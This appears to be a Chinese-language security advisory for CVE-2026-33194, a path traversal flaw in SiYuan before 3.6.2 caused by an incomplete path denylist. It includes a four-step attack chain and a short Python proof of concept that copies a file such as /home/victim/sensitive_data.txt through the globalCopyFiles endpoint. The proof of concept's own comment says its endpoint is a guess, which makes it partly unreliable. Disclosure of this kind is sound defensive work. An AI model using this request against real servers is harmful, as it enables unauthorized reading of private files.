IPBUF安全漏洞报告
English
CVE-2026-33194 CVSS 6.8 中危

CVE-2026-33194 SiYuan 路径遍历漏洞

披露日期: 2026-03-20

漏洞信息

漏洞编号
CVE-2026-33194
漏洞类型
路径遍历
CVSS评分
6.8 中危
攻击向量
网络 (AV:N)
认证要求
高权限 (PR:H)
用户交互
无需交互 (UI:N)
影响产品
SiYuan

相关标签

路径遍历SiYuan信息泄露文件读取CVSS-6.8

漏洞概述

SiYuan个人知识管理系统在3.6.2版本之前存在安全漏洞。由于其`IsSensitivePath()`函数采用了不完整的黑名单机制,未能有效阻止对`/opt`、`/usr`、`/home`等系统目录的访问。攻击者可利用`globalCopyFiles`等接口绕过限制,读取工作区外的敏感文件,造成信息泄露。

技术细节

该漏洞源于SiYuan核心代码中`kernel/util/path.go`文件的`IsSensitivePath()`函数采用了不完善的黑名单过滤机制。尽管此前进行了扩展,但仍遗漏了多个关键的Linux系统目录(如`/opt`、`/usr`、`/home`、`/mnt`、`/media`)。`globalCopyFiles`和`importStdMd`接口将此函数作为防止路径遍历的唯一防御手段。由于缺乏白名单校验,攻击者只要构造的路径不在现有黑名单内,即可绕过安全检查。攻击者需拥有高权限账号,通过向受影响端点发送特制的HTTP请求,指定上述未受保护的目录路径,即可读取宿主机上的敏感文件,导致系统机密性受损。

攻击链分析

STEP 1
侦察与访问
攻击者识别运行SiYuan < 3.6.2的目标,并获取高权限账户凭证。
STEP 2
路径遍历尝试
攻击者构造恶意请求,针对`globalCopyFiles`或`importStdMd`接口,指定黑名单之外的系统路径(如`/home`)。
STEP 3
绕过防御
由于`IsSensitivePath()`函数黑名单不完整,请求通过验证,服务器允许读取指定路径的文件。
STEP 4
信息泄露
服务器将敏感文件内容复制到工作区或直接返回给攻击者,导致数据泄露。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Conceptual PoC for CVE-2026-33194 # Target: SiYuan < 3.6.2 # Endpoint: /api/files/globalCopyFiles (example based on description) target = "http://target-ip:6806" headers = { "Authorization": "Bearer <HIGH_PRIVILEGE_TOKEN>", # Requires High Privilege (PR:H) "Content-Type": "application/json" } # The vulnerability allows reading paths not in the denylist, e.g., /home, /opt payload = { "srcPath": "/home/victim/sensitive_data.txt", "destPath": "/data/workspace/sensitive_data_copy.txt" } # Send exploit request response = requests.post(f"{target}/api/files/globalCopyFiles", json=payload, headers=headers) if response.status_code == 200: print("[+] Exploit successful! File copied.") else: print(f"[-] Exploit failed. Status: {response.status_code}")

影响范围

SiYuan < 3.6.2

防御指南

临时缓解措施
建议立即升级至3.6.2或更高版本以修复此漏洞。若暂时无法升级,应通过防火墙或网络ACL限制对SiYuan服务器的访问,特别是限制非信任网络的来源IP,并加强对高权限账号的监控。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表